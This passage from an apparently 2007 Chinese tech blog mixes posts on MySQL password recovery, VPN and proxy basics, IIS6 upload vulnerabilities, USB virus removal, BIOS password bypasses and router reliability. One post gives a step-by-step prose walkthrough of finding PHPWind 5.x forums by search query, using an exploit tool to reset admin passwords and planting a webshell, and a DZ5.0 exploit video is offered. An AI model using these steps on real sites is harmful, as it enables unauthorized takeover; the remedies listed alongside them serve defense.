方式挂,就不能用这种方法来解决了;此这个方法不是最终的解决案,最终的解决方案是找出真正被挂IFRAME的原因,堵住源头。这可不是我的事哈!

推荐:MySQL密码恢复笔记

[ 2007/12/11 15:18 | by pling ]

因为MySQL密码存储于数据mysql中的user表中
所以只需要将我windows 2003下的MySQL中的user表拷贝过来覆盖掉就行了
在c:\mysql\data\mysql\(linux 则一般在/var/lib/mysql/mysql/)目录下有三个user表相关文件user.frm、user.MYD、user.MYI
user.frm //user表样式文件
user.MYD //user表数据文件
user.MYI //user表索引文件
为保险起见,三个都拷贝过来,不过其实如果之前在要恢复的那个MySQL上没有更改过表结构的话,只要拷贝user.MYD就行了
然后#. /etc/rc.d/init.d/mysql stop
#. /etc/rc.d/init.d/mysql start
#mysql -u root -p XXXXXX
好了,可以用windows 2003下mysql密码登陆了
mysql>use mysql
mysql>update user set Password=PASSWORD('xxxxxx') where User='root';
这时候会出错,提示user表只有读权限

分析了一下原因,只这样的,因为user.*文件的权限分配是windows 2003下的,在windows 2003下我ls -l一看权限是666
在linux下我一看,拷过来后权限变成了600(其实正常情况下600就行了,只不过这里的文件属主不是mysql,拷过来后的属主变为了root,所以会出现权限不够,这时候如果你改成权限666则可以了,当然这样不好,没有解决问题的实质),在/var/lib/mysql/mysql/下ls -l看了一下再
#chown -R mysql:mysql user.*
#chmod 600 user.*
//OK,DONE
重起一下MYSQL
重新连接
mysql>use mysql
mysql>update user set Password=PASSWORD('xxxxxx') where User='root';
mysql>FLUSH PRIVILEGES;
有一点值得注意:如果你windows 下mysql如果是默认配置的话,注意要还要执行
mysql>delete from user where User='';
mysql>delete from user where Host='%';
mysql>FLUSH PRIVILEGES;
好了,到这里恢复密码过程就完成了
这个方法么就是有点局限性,你必须也具备另外的user表文件

其他还有几种方法

其它方法一(这个是网上流传较广的方法,mysql中文参考手册上的)
1. 向mysqld server 发送kill命令关掉mysqld server(不是 kill -9),存放进程ID的文件通常在MYSQL的数据库所在的目录中。
killall -TERM mysqld
你必须是UNIX的root用户或者是你所运行的SERVER上的同等用户,才能执行这个操作。
2. 使用`--skip-grant-tables' 参数来启动 mysqld。 (LINUX下/usr/bin/safe_mysqld --skip-grant-tables , windows下c:\mysql\bin\mysqld --skip-grant-tables)

3. 然后无密码登录到mysqld server ,
>use mysql
>update user set password=password("new_pass") where user="root";
>flush privileges;
。你也可以这样做:`mysqladmin -h hostname -u user password 'new password''。

4. 载入权限表: `mysqladmin -h hostname flush-privileges' ,或者使用 SQL 命令`FLUSH PRIVILEGES'。
5.killall -TERM mysqld
6.用新密码登陆

其它方法二

直接用十六进制编辑器编辑user.MYD文件

不过这个里面我要说明一点,我这里编辑的时候发现个问题,加密的密码串有些是连续存储的,有些的最后两位被切开了,后两位存储在后面其他地方.这一点我还没想明白.还有注意一点就是编辑的是加密过的密码串,也就是说你还是需要另外有user表文件。这种方法和我最上面介绍的方法的区别在于,这种方法直接编辑linux下的user表文件,就不需要重新改文件属主和权限了

Tags: ,
 

现状与需求

许多企业在全国各地都建有分支机构或者办事处,随着企业信息化程度的不断提高,各公司均根据行业特点在在企业总部部署如OA系统、ERP系统、财务系统、GIS地理信息系统等应用软件,将企业分布在各地的分支机构和办事处与企业总部互联,达到安全地共享数据和软件资源的目的,若采用DDN专线造价太高,用Modem远程拨号的方式速度又太慢。ICEFLOW为充分考虑信息化投资效果,为企业量身定制的应用系统远程组网解决方案,低成本、高安全性、高可靠性地满足以上需求。VPN使公司所有网络在Internet上组成一个安全的、虚拟的大局域网,企业建立VPN之后可以在广域网环境下建立和局域网环境下一样的多种应用。

ICEFLOW VPN特点

安全:ICEFLOW VPN基于国际标准IPSEC协议构建,采用192位IDEA、DES、3DES高强度加密算法,并采用动态密钥交换机制,其具有全面日志分析管理功能,最大程度保证公网传输中数据安全问题。可以将分部PPTP用户和特定主机绑定,即使PPTP客户用户名密码泄漏也绝无安全隐患。另外,与某类产品相比,ICEFLOW VPN免受网络上病毒的攻击,也避免重启等手续,更有效保证数据传输的安全性

稳定:ICEFLOW VPN按照工业标准设计,支持40000小时连续无故障运行,自动拨号,断线后可在线路恢复正常后10秒内恢复正常运行,支持单机双线路和双机分流备份,有效保证数据流畅通

灵活:ICEFLOW VPN可实时查看当前数据流量;支持DDN,ADSL,CABLE等多种方式接入INTERNET;支持网状结构和星型结构等多种组网方式;可通过监控中心即时监测各个节点使用状态等,内建UPDATE功能,一般新发布的功能均可以免费得到

性价比高:VPN技术过去一直未能在中国得到广泛的应用,其中一个很重要的原因就是接入公网的费用太高,随着进几年ADSL以及其他宽带接入的兴起,用户接入公网的费用已经非常的便宜,如四川电信ADSL虚拟拨号用户接入(512k包月)为120元/月(住宅)、500元/月(单位)。采用ADSL构建企业VPN网络成为当前网络市场一个新的热点。同国内外某些传统的路由器生产厂家相比,ICEFLOW产品功能更强(如:支持ADSL虚拟拨号、支持全网全动态IP等)、价格更低。同国内某些产品相比,

ICEFLOW产品不仅功能更强(如:支持网状结构VPN、支持双机热备份)、价格也不高。

方案概述

ICEFLOW VPN解决方案,是冰峰网络针对现代企事业单位用户的实际需求,精心研制的一种基于IPSEC的第三层VPN路由器组网方案,是可以在全动态IP的广域网上(Internet/城域网),同时支持ADSL,Cable Modem,DDN等宽带接入方式,在接入方式不同的异构网络上搭建统一的IP VPN网络

对客户来说,我们建议在中心点使用R5000H VPN路由器,各个分支机构使用R5000L VPN 路由器实现各个节点的VPN互联。采用ADSL虚拟拨号或者其他宽带接入方式接入Internet。并通过ICEFLOW VPN路由器构建企业VPN网络。各局域网节点采用ICEFLOW VPN路由器接入VPN,出差或在家可作为移动用户通过PPTP协议接入VPN。

网络架构

总部:总部一般来讲是企业信息存放、处理的中心,网络内部主机数量多,数据流量大,安全性和实时性要求高;因此推荐采用高性能的ICEFLOW R5000H作为接入服务器。对于实时要求很高的企业用户,可以在总部采用两台R5000H 作双机备份,保证稳定数据传输。

分支机构:企业分支机构一般指分布在全国各地规模中等的分公司,公司内部建有中等规模的局域网,同时通过当地ISP提供的宽带接入方式接入因特网。安装一台ICEFLOWR5000L或1700H路由器,作为客户端接入总部。

移动办公用户:采用PPTP或SSL协议,接入总部,可支持CDMA/GPRS及802.11b等无线移动接入,用户即使在乘坐车船甚至飞机的途中,可随时随地实现移动办公。

应用效果

无论是基于B/S还是C/S的模式,都可以利用VPN构建远程实时应用。而且无需铺设专线,无需固定IP地址,无需托管服务器,软件无需任何改动,直接可以使用。

采用PPTP或L2TP拨号的方式,公司老总或外出移动办公人员在外出差时可随时接入企业内部局域网,查询所有相关的财务等重要信息和收发内部邮件,也可以及时发送信息回公司总部,实现移动办公,保证工作效率。

公司和分支机构市场信息、营销方案、客户反馈信息、新产品信息、办公文件、各种报告报表等能在第一时间内实现全公司范围内的及时上传下达,提高工作效率,公司决策人能及时掌握各部门、各员工的工作情况。

建立VPN后,企业内部网络用户仍然能够正常浏览所有因特网信息,并且为内部网络用户提供专业的防火墙保护。

可实现各应用系统等网络版应用系统的远程互联,采用最少的网络互联投资成本,最大限度的发挥公司应用系统的效率,实现无纸化办公,移动办公。各分支机构与总部象在同一间办公室里一样共享并同步应用财务管理、ERP、OA系统,使公司管理更加统一规范,保证财务、物流、信息流的实时更新,确保公司财务高效、透明、安全、快捷,市场信息的及时传递,营销方案的及时执行,提高工作效率。

通过“网上邻居”共享数据文件,访问远程的企业资源数据库,中心的网络管理员可以对整个VPN网络进行集中的状态监控和远程管理配置,可以在各个VPN节点设置动态的流量管理策略,为企业实时业务和多媒体数据流提供良好的带宽保证。

构建了这个网络之后,可以实现其他如视频会议、VOIP、视频监控等扩展应用。

Tags:
代理服务器英文全称是Proxy Server,其功能就是代理网络用户去取得网络信息。形象的说:它是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其他Internet站点取得网络信息时,是直接联系到目的站点服务器,然后由目的站点服务器把信息传送回来。代理服务器是介于浏览器和Web服务器之间的另一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。

  大部分代理服务器都具有缓冲的功能,就好象一个大的Cache,它有很大的存储空间,它不断将新取得数据储存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显著提高浏览速度和效率。

  更重要的是:代理服务器是 Internet链路级网关所提供的一种重要的安全功能,它的工作主要在开放系统互联 (OSI) 模型的对话层,从而起到防火墙的作用。

  鉴于上述原因,代理服务器大多被用来连接INTERNET(局域网)和INTRANET(国际互联网)。在国内,所谓中国多媒体公众信息网和教育网都是独立的大型国家级局域网,是与国际互联网隔绝的。出于各种需要,某些集团或个人在两网之间开设了代理服务器,如果我们知道这些代理服务器的地址,就可以利用它到达国外网站。

  什么是HTTP代理:www对于每一个上网的人都再熟悉不过了,www连接请求就是采用的http协议,所以我们在浏览网页,下载数据(也可采用ftp协议)是就是用http代理。它通常绑定在代理服务器的80、3128、8080等端口上。

  什么是socks代理:相应的,采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。Socks是个电路级的底层网关,是DavidKoblas在1990年开发的,此后就一直作为Internet RFC标准的开放标准。Socks 不要求应用程序遵循特定的操作系统平台,Socks 代理与应用层代理、 HTTP 层代理不同,Socks 代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。所以,Socks代理比其他应用层代理要快得多。它通常绑定在代理服务器的1080端口上。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问 Internet就可能需要使用SOCKS。一般情况下,对于拨号上网用户都不需要使用它。注意,浏览网页时常用的代理服务器通常是专门的http代理,它和SOCKS是不同的。因此,您能浏览网页不等于 您一定可以通过SOCKS访问Internet。 常用的防火墙,或代理软件都支持SOCKS,但需要其管理员打开这一功能。如果您不确信您是否需要SOCKS或是否有SOCKS可用,请与您的网络管理员联系。

  在实际应用中SOCKS代理可以用作为:电子邮件、新闻组软件、网络传呼ICQ、网络聊天MIRC和使用代理服务器上联众打游戏等等各种游戏应用软件当中。

Tags: ,
一 、 Windows 2003 Enterprise Edition IIS6 目录检查漏洞的描述

1、Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞,当文件夹名为类似hack.ASP的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为.jpg或.gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。

2、 扩展名为.jpg/.gif的木马检查方法:

在资源管理器中使用详细资料方式,按类别查看。点“查看”菜单--“选择详细信息”--勾选上“尺寸”,确定。此时,正常的图片文件会显示出图片的尺寸大小,如果没有显示,则99%可以肯定是木马文件。用记事本程序打开即可100%确定.

3、 漏洞影响的范围:

安装了IIS6的服务器(windows2003),漏洞特征网站的管理权限被盗、导致网站被黑。因为微软尚未发布这个漏洞的补丁,所以几乎所有网站都会存在这个漏洞。

二、如何解决IIS6安全漏洞?

A 方案 :打补丁

本来安装补丁是一种比较保险的方法,可是漏洞已发现一段时间了,微软一直没有发布相关的补丁。

B方案:网站程序员解决

对于那些允许注册帐号的网站来说,在网站程序编写的时候,程序员通常为了管理方便,便以注册的用户名为名称来建立一个文件夹,用以保存该用户的数据。例如一些图片、文字等等信息。黑客们就是利用了这一特点,特意通过网站注册一个以.或者.cer的后续名作注册名,然后通过如把含有木马的ASP文件的.asp后缀改成.jpg等方法,把文件上传到服务器,由于IIS6漏洞,jpg文件可以通过IIS6来运行,木马也随着运行,达到了攻击网站的目的,这种情况,可以由程序员对注册用户名称进行限制,排除一些带有*.asp *.asa等字符为名的注册名。加强网站自身的安全和防范措施。另外,要阻止用户对文件夹进行重命名操作。

这种方法在一定程度上可以防范一些攻击行为,但是这种方法实现起来非常麻烦,网站的开发人员在程序安全性方面必须掌握相当好的技术,并且必须要对整个网站涉及文件管理方面的程序进行检查,一个网站少则几十,多则上千个文件,要查完相当费时,并且难免会漏掉其中一两个。

另外,目前有很多现成的网站系统只要下载后上传到空间就可以用,开发这些现有网站系统的程序员技术水平参差不齐,难免其中一些系统会存在这种漏洞,还有相当一部分系统的源码是加密过的,很多站长想改也改不动,面对漏洞无乎无能为力。

C方案:服务器配置解决

网站管理员可以通过修改服务器的配置来实现对这个漏洞的预防。如何对服务器进行配置呢?很多网站都允许用户上传一定数量的图片、Flash等,很多时候网站开发人员为了日后管理方便,对上传的文件都统一放到指定的一个文件夹里面,管理员只要对该文件夹的执行权限设置成“无”,这样一定程度可以对漏洞进行预防。

D方案: 服务商解决 服务器商对服务器进行统一的整体性过滤,通过编写组件来限制这种行为。但是能做到这种技术服务的主机供应服务商不多。
漏洞描述

此次PW论坛出现严重的漏洞,主要是因为论坛目录中的passport_client.php文件里面的变量没有进行初始化设置,所以攻击者可以轻易地绕过那些判断。

漏洞利用

由于此次的漏洞攻击程序很快流传在各个论坛,而借助漏洞利用程序,不需要掌握什么技术,任何人都可以轻松攻击使用PW论坛程序的网站,这也是短时间内即有大量网站遭殃的原因之一。下面我们来看看攻击者是如何利用这个工具的。

首先利用搜索引擎搜索使用PW论坛的网站。打开Google的首页并点击旁边的“高级搜索”链接,把每页显示这一项改为100,接着在关键词输入框中输入“PoweredbyPHPWind5.0”,然后回车开始搜索。从搜索结果中任意打开一个链接,然后查看该PHPWind论坛程序的版本是否为5.0版,如果是的话就可以接着运行“PHPWind5.x最新漏洞利用工具”,在“BoardURL”中输入论坛地址,再点击“TestBug”按钮来检测该论坛是否存在这个漏洞。

如果的确存在漏洞的话,那么工具会提示用户“Ok!IFindbugsANDreadytoExpljit”。现在按照常规方法注册一个论坛账号,接着在网络中查找可能是管理员的用户ID,当然也可以直接通过论坛版主的ID一个一个进行测试。

现在运行“PHPWind5.x最新漏洞利用工具”,根据该工具的提示输入PHPWind论坛的信息,在 “BoardURL”选项中输入论坛地址,在“Username”选项中输入管理员的账号,“Password”选项的内容不用更改,最后只需要点击“Attack”按钮即可。

如果漏洞成功利用的话,工具将提示用户“The user addorpass word ischanged succeed”,这样就表示工具将管理员账号的密码改为123456。

然后利用这个管理员账号和密码进行登录,攻击者可以利用类似C/S的PHP木马从而得到一个WebShelll,如果在WebShelll进一步提升权限便可以控制整个网站,比如对论坛进行入侵和管理操作,比如数据库管理、上传文件、网页挂马等。由此可见,工具虽小,危害极大。

修补方法

这次的漏洞属于高危漏洞,任何没有进行修补的论坛管理员账户都可能被窃取。所以为了保证自己网站的安全,最简单的防护方法就是首先将文件passport_client.php删除,当然最好可以通过以下的方法对其进行修复。

1.首先从官方网站下载漏洞补丁,将里面的upload文件集覆盖网站论坛中的这个目录即可。

2.接着马上使用论坛创始人的账号密码进行登录,从而进入到论坛的系统后台进行操作,通常的后台地址为。立即修改本论坛创始人的密码,并且在后台检查是否有其他可疑的管理员账号,有的话马上删除。

3.如果管理员发现已经无法登录系统后台,可以使用论坛创始人密码修复工具。用文本编辑器打开pw_recover.php文件后,将$new_manager改为自己原来的论坛创始人账号,比如$new_manager= 'admin';同时将$new_password改为原来的的密码,比如$new_password='123456',然后将本程序上传到论坛根目录,运行该文件即可恢复创始人密码。

4.如果管理员发现网站系统被植入了木马,可以使用PW论坛发布的安全检测工具。将文件safe.php与safedata文件夹上传到论坛目录中,运行safe.php文件即可开始进行站点安全检查。发现木马程序后文件会自动删除非法文件,同时程序会在完成检查时给用户提供一个安全报告。
Tags:

[推荐]DZ5.0漏洞利用动画后续

[ 2007/04/16 03:29 | by pling ]
动画语言: 简体中文  
动画类型: 投稿动画
运行环境: Win9x/NT/2000/XP/2003
授权方式: 投稿收录
动画大小: 31500 K
动画等级: ★★★
整理时间: 2007-3-17 20:47:14
DZ5.0漏洞利用动画后续
 
******************************************************************************
本动画的MD5值为:
17472245b27623a46a042a249be328ff   dzmd5.exe
******************************************************************************
[url=null]下载连接=>>>[/url]
Tags: , ,

选择“显示隐藏文件”这一选项后,发现U盘有个文件闪出来一下就马上又消失了,而再打开文件夹选项时,发现仍就是“不显示隐藏文件”这一选项。而且刚发现点击C、D等盘符图标时会另外打开一个窗口!

总结:

I、病情描述:

1、无法显示隐藏文件;

2、点击C、D等盘符图标时会另外打开一个窗口;

3、用winrar查看时发现C、D等根目录下有autorun.inf和tel.xls.exe两个恶心的文件;

4、任务管理器中的应用进程一栏里有个莫明其妙的kill;

5、开机启动项中有莫明其妙的SocksA.exe。

II、解决办法:

用了一些专杀工具和DOS下的批处理文件,都不好使,只好DIY。注意在以下整个过程中不要双击硬盘分区,需要打开时用鼠标右键—>打开。

一、关闭病毒进程

在任务管理器应用程序里面查找类似kill等你不认识的进程,右键—>转到进程,找到类似SVOHOST.exe(也可能就是某个svchost.exe)的进程,右键—>结束进程树。

二、显示出被隐藏的系统文件

开始—>运行—>regedit


HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\
Advanced\Folder\Hidden\SHOWALL


删除CheckedValue键值,单击右键 新建—>Dword值—>命名为CheckedValue,然后修改它的键值为1,这样就可以选择“显示所有隐藏文件”和“显示系统文件”。

三、删除病毒

在分区盘上单击鼠标右键—>打开,看到每个盘跟目录下有autorun.inf 和tel\.xls\.exe 两个文件,将其删除,U盘同样。

四、删除病毒的自动运行项

开始—>运行—>msconfig—>启动—>删除类似sacksa.exe、SocksA.exe之类项,或者打开注册表运行regedit


HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run


删除类似C:\WINDOWS\system32\SVOHOST.exe 的项。

五、删除遗留文件

C:\WINDOWS\ 跟 C:\WINDOWS\system32\ 目录下删除SVOHOST.exe(注意系统有一个类似文件,图标怪异的那个类似excel的图标的是病毒)session.exe、sacaka.exe、SocksA.exe以及所有excel类似图标的文件,每个文件夹两个,不要误删哦,自己注意。重启电脑后,基本可以了。

Tags:

Avaya公司校园千兆网解决方案

[ 2007/04/02 00:57 | by pling ]

用户环境:高校校园网
Avaya公司根据多年的实践经验,提出高校校园网的总体规划方案,如附图所示。
点击在新窗口中浏览此图片
网络系统主干交换设备使用Avaya公司的Cajun系列中的CajunP550千兆路由中心交换机。
二级设备根据实际信息点选用CajunP120或选用CajunP330可堆叠工作组交换机,通过千兆光纤链路连接到网络中心CajunP550,若校园网铺设了多条光纤,可采用OpenTrunk技术组成链路汇集组,这样一方面提高了带宽,另一方面提高了容错性。
本方案中主干网络交换机CajunP550散出多条1000Mbps链路和全双工快速以太网链路至各个二级交换机堆叠,主干聚集带宽实现全容错、全双工双向4Gbps,采用协议无关的分布式模块化交换处理,通过在CajunP550增加模块,即可进一步增加网络交换带宽。
各个CajunP330堆叠为校园网提供100Mbps全双工上连带宽,同时向下给每个站点提供交换式、全双工的10Mbps和100Mbps独用带宽。如果需要的话,利用剩余的光缆芯对和CajunP550主干交换机上的空闲端口,还可以成倍增加上连带宽和站点数目。
Avaya公司给出的高校校园网的解决方案,选用10/100/1000Mbps以太网技术,选择支持VLAN技术、QoS等技术的产品,设计出具有较高性能的、具有一定可靠性的、满足网络教学应用与管理需要的多媒体网络系统。满足了高校用户众多对网络性能、应用多样性对数据传输优先级的要求。
网络中心机房,采用大功率UPS集中供电的方式已被广泛接受,而众多的网络交换和路由设备,由于其分散性,需要安置小功率的UPS。为了保证网络的安全运行,必须选择高质量的产品。首先,它是能够全面消除电源污染的在线式产品,使网络不受电源问题的影响;其次,对于长延时产品,应该具有很好的电池管理功能。华为电气的UPS产品,较好地解决了这些问题。
网络中,分散供电使管理员很难实时地了解远处UPS的运行状态。为此,华为电气提出了多种监控方案,分别通过采用RS232卡和SNMP卡实现,如附图所示。
点击在新窗口中浏览此图片
通过使用UPSite监控软件,可以实现UPS在网络中的实时监控。在使用RS232接口时,可根据设备的具体情况采用不同的组件,以达到在最节省硬件资源占用的条件下实现可靠的保护。当只需要网络设备在市电停电后,能在无人值守的情况下自动保存数据并安全关机,可以只安装UPSite中的守候程序。如果需要实时显示UPS的工作状态,则只需要安装后台管理软件。对于已使用RS232与UPS 连接的计算机和服务器,通过安装监控代理,便可将UPS的各种工作信息和电网电源的状态自动发送到网上,使网络上安装守候程序和后台管理的设备能够及时获得电源方面的信息。
此外,用户也可以在远离计算机和服务器的地方,使用UPS内置SNMP卡,直接把UPS连接到网络中,使UPS成为网络中的终端设备。这样,用户可通过专用软件或Web浏览器完成对UPS的监控,使网络更加可靠。
Tags:

浏览器执行exe文件的探讨

[ 2007/04/02 00:53 | by pling ]
一:真的能在浏览器中执行命令文件吗?

答案是肯定的。不过先别高兴,只能执行服务器端的,而且是必须经过授权的。否则服务器想黑你就太容易了,谁敢看我我就格式化谁。

二:他是如何实现的。是靠asp文件吗?

在服务器端执行文件是靠SSI来实现的,SSI时服务器端包含的意思(不是SSL),我们经常使用的#include就是服务器端包含的指令之一。不过,这次要介绍的就是——#exec。就是他可以实现服务器端执行指令。

不过,这次他不能用于.asp的文件。而只能用.stm、.shtm 和 .shtml这些扩展名。而能解释执行他们的就是Ssinc.dll。所以,你写好的代码必须保存成.stm等格式才能确保服务器能执行。

三:如何执行呢?

终于开始讨论实质性问题了。

它的语法是:

CommandType是参数,他有两个可选类型:

1.CGI 运行一个应用程序

如 CGI 脚本、ASP 或 ISAPI 应用程序。

CommandDes cription 参数是一个字符串

教你打开丢失密码的笔记本

[ 2007/04/02 00:52 | by pling ]

对于笔记本电脑,最好不要轻易的设置密码,因为笔记本电脑的开机密码并不是象PC机那样存放在CMOS电路中可以通过放电清除的,目前较新的笔记本都是将密码保存在主板的几块逻辑电路中,我们个人是无法破解的(此系列电脑,密码可加至三层,每一层都针对不同的设备加密,如果设置的密码丢失的话,电脑可就是摆设了),要破解的话得换,可能得花不少钱。

但是对于型号较老的笔记本电脑,你可以试试下面的方法,也许可以解除笔记本的开机密码:一是改变机器的硬件配置,比如把硬盘取下来,再重新启动有可能会自动进入Setup程序,并清除开机密码。二是可以试试在主板上找一个芯片,这个芯片俗称818芯片,一般是“MC146818"有24个引脚,短接第12脚和第24脚1秒钟,或者找一个标有” MC14069"的芯片,把其第14脚对地短接一下,也许可以达到清除密码的目的。

对于东芝笔记本电脑如果你忘记了你的口令,可以使用口令服务软盘来解决(口令服务软盘在你每次设置或修改开机口令时生成,请妥善保存)。具体步骤如下:在驱动器中插入口令服务软盘。按下Enter,出现下列消息:


Set Pass Again?(Y/N)



按Y运行TSETUP程序,设置新口令。按N重新启动电脑。
注意:口令服务软盘必须被插入驱动器中,否则显示将返回到Password=。如果已经在驱动器中插入了软盘,该消息仍然出现,口令服务软盘可能有问题。此外在使用口令服务软盘时要注意以下两个问题:如果BIOS引导优先级设置为硬盘或光驱,按复位按钮,保持F键按下以确保从软盘驱动器引导。如果电脑处在恢复方式,打开电源时口令服务软盘将不起作用。这时,也请先按复位按钮。

对于型号较老的东芝笔记本电脑,其BIOS口令保护存在一个“后门”。你可以试试下面介绍的办法,也许能绕过东芝笔记本BIOS口令限制,而无需输入任何密码认证。准备好一张格式化好的空软盘,另外一台计算机,一种二进制编辑软件(比如Norton DiskEdit或者UtralEdit 32等)。具体的步骤如下:

1.启动另一台电脑,打开二进制编辑器,将软盘插入驱动器,修改软盘第一扇区的前5个字节,使其变成:4B 45 59 00 00,注意引导扇区是第0扇区,不要改错了。然后保存修改,你现在就有了一张钥匙盘了。将这张软盘插入笔记本电脑的软驱中,按reset键重启动,当提示你输入口令时,直接按回车,系统提示你是否要再次设置口令。按"Y",回车。然后你就看到了BIOS的设置界面,可以重新设定一个新口令了。

2.笔记本电脑是TOSHIBA,可以方便的借助电脑本身的打印口来清除密码。

联接为:1脚接5脚和10脚,2脚接11脚,3接17,其它类推。


1- 5-10
2 -11
3 -17
4 -12
6 -16
7- 13
8- 14
9 -15



此表为电脑主板上接口。外接的接口与此相反,请注意。
如果上面的介绍的方法都不起作用,就只有送笔记本电脑专业维修点用特殊方法处理,倘若过了保修期,在价格上你只有任人宰割了。因此一般没有特殊原因,笔记本电脑还是不要随意设置开机口令。为保证数据安全,建议大家装WIN2000/NT或WINXP操作系统,并使用NTFS格式分区,这样其实比单纯设置开机口令,更能保证系统安装。现在有些笔记本电脑还提供了指纹开机识别系统等安装措施,取代传统的BIOS密码保护。

Tags:

宽带业务快速发展,给传统电信业和IT业带来了深刻的变革。多业务、多网络的融合已经成为不可逆转的趋势。 宽带城域网作为城域网内的主要网络实体将成为3G、NGN以及其它新兴增值业务的承载平台。

3G、NGN这类实时的语音和视频应用,要求城域网提供服务质量保证和类似于传统电信技术99.999%的电信级网络可靠性要求。同时,激烈的竞争也推动运营商向客户提供类似SLA有服务质量保证的服务,网络可靠性是其中的首要也是最重要的指标。通过提高网络的可靠性,运营商可以通过提供差别化的服务,在运营商之间的竞争中占居有利的地位,进一步树立和巩固企业的品牌形象。


城域网路由器的可靠性体现在以下两个方面,一个是设备层的可靠性,另一个是网络层的可靠性。网络可靠性是城域网路由器可靠性保障的一个重要内容,由于传统的路由器协议收敛比较慢(IGP在秒级,BGP在分钟级),不能满足承载实时业务的需求。网络可靠性也是城域网路由器新技术比较活跃的领域。

目前新出现的网络层可靠性技术主要有IP路由快速收敛、端到端LSP备份、MPLS快速重路由、平稳重启等。


IP路由快速收敛


IP动态路由是最基本的网络层可靠性保障机制,是IP路由网络与生俱来的功能。IP动态路由协议负责进行网络层IP转发路径计算,在链路或者节点发生故障导致原数据转发路径中断时,路由协议对数据转发路径进行动态重新计算,虽然各种路由协议通过采用不同的机制,其响应时间有差别,但是平均水平在秒一级。对于传统IP业务这个恢复时间可以接受,但是对于承载实时业务等多业务的电信级IP网来说要求毫秒级恢复响应时间,传统IP动态路由技术和这一要求有很大差距。


在传统路由协议的基础上,进行改进可以缩短IP路由协议的故障响应时间,这些措施主要是加快路由协议的收敛。加快路由协议收敛速度可以分为链路故障检测、路由重计算、路由信息更新等几个方面考虑。通过加快链路之间Hello消息的发送频率,加快SPF计算速度和为路由更新消息设定高优先级,路由协议可以快速发现、处理故障,并且准确快速地进行路由更新,加快路由协议的收敛,通过优化IGP路由协议可以实现小于1s的收敛。


另一种加快路由协议收敛的方法是采用IGP和EGP对网络进行合理的层次规划,IGP进行域内设备的路由,EGP(BGP4)承载外部路由,两种路由之间进行有效隔离,不相互进行重分配。IGP和BGP的合理分工,形成了一个层次化的路由结构,域内和域间路由协议的收敛相互独立,互不影响,可以实现最快速度收敛。


LSP保护切换


保护切换是ITU-T采用的术语,保护切换技术对于提高MPLS网络的可用性和稳定性具有关键意义。保护切换一般对受保护LSP路由的预计算和资源的预分配,所以可以保证在LSP连接失效或者中断后可以快速重新获得网络资源。


目前技术的发展只可以支持对点到点LSP的保护切换,保护可以采用两种方式:1+1保护和1:1保护。


1+1保护使用一条专用的备份LSP作为主LSP保护,在IngressLSR处,主LSP和备份LSP桥接在一起,主LSP上的流量复制到备份LSP上同时传送到EgressLSR,EgressLSR根据故障指示参数的取值,选择接收主备LSP上的流量。


1:1保护时也使用专用的备份LSP作为主LSP的保护,但是主备LSP不同时传送相同的流量,备份LSP在主LSP工作正常的前提下可以传送其它流量,流量的保护切换裁决在IngressLSR进行。


MPLS快速重路由(FRR)


为了满足诸如像视频会议电视这一类业务的实时应用,必须对这些流量提供类似于传统SDHAPS毫秒级的LSP保护能力。


LSP保护切换技术,需要信令协议的介入,故障点到恢复点的故障指示信令传递引入了不必要的网络恢复延时。MPLS快速重路由技术可以实现在没有信令介入情况下,由故障检测点直接对故障链路流量根据预先设定的保护路径进行重定向,恢复点即为故障点。多数的快速重路由方案依赖预先建立的备份通道,当网络恢复点检测到网络故障时,它要做的工作就是简单地更新LSP交换表,使流量从故障端口的LSP切换到预先在正常端口建立的LSP内。


快速重路由的优势除了可以提高保护恢复的速度外,通过有选择的在网络薄弱环节配置保护能力,避免了在可靠网络重复保护、无谓消耗核心网络资源。MPLS快速重路由技术提供50ms内的保护切换,可以作为SDHAPS保护机制的替代。


MPLS快速重路由采用如下配置过程:


首先,在LSP的入口处即LSR1,使用一条用户命令激活MPLS保护切换功能;LSR1向LSP路径上的所有LSR发送信令,每个LSR都计算出一条旁路下一跳LSR的备份LSP,LSP快速重路由配置即完成。当LSP路径上的某个LSR检测到下游故障时,由该LSR在本地将流量切换到备份LSP内。


在IETF中有多种快速重路由的方案,主流的两种保护方式为链路保护和节点保护,其解决问题的思路和复杂度各异,目前该技术还没有形成正式的RFC.


平稳重启(Gracefulrestart)


引起控制平面重启的可能因素包括:软件升级、软件Bug或者硬件故障,无中断重启可以做到控制平面重启时,数据平面无间断转发。但是如果控制平面故障,对等路由器将重新计算路由,旁路故障路由器,数据平面的不间断转发就没有意义,而且故障路由会扩散到整个网络范围。在MPLSVPNPE路由器上如果发生这种情形,其结果是灾难性的。


控制平面平稳重启技术可以有效解决这个难题,采用该技术的路由器在控制平面发生故障时,可以通知邻近路由器继续使用原路径进行数据转发,同时重启路由器重新和邻近路由器建立路由状态,保证在重启过程中业务可用性,最小化单个设备重启对整个网络的影响。


在平稳重启的过程中路由器不保存相关的协议状态,所以引起的重启软件故障不会延续到重启后。


平稳重启是新特性,很多旧设备无法支持,所以可以在局部子网内支持该特性的设备上使用。


在网络边界,运营商边界路由器面对众多客户,而且一般都没有冗余措施,最适合使用平稳重启技术。网络核心一般都采用冗余路径进行保护,而且带业务重启容易造成路由环,所以不建议在网络核心采用平稳重启技术。

Tags:

昨天将U盘插到电脑后双击无法打开,紧接着双击所有驱动器盘符都没有办法打开,试验以后发现只有使用资源管理器可以。但终究不爽,鬼知道病毒在电脑里还干了些什么,决定彻底杀掉。

症状描述:

1.双击驱动器盘符无法打开,资源管理器可以使用。

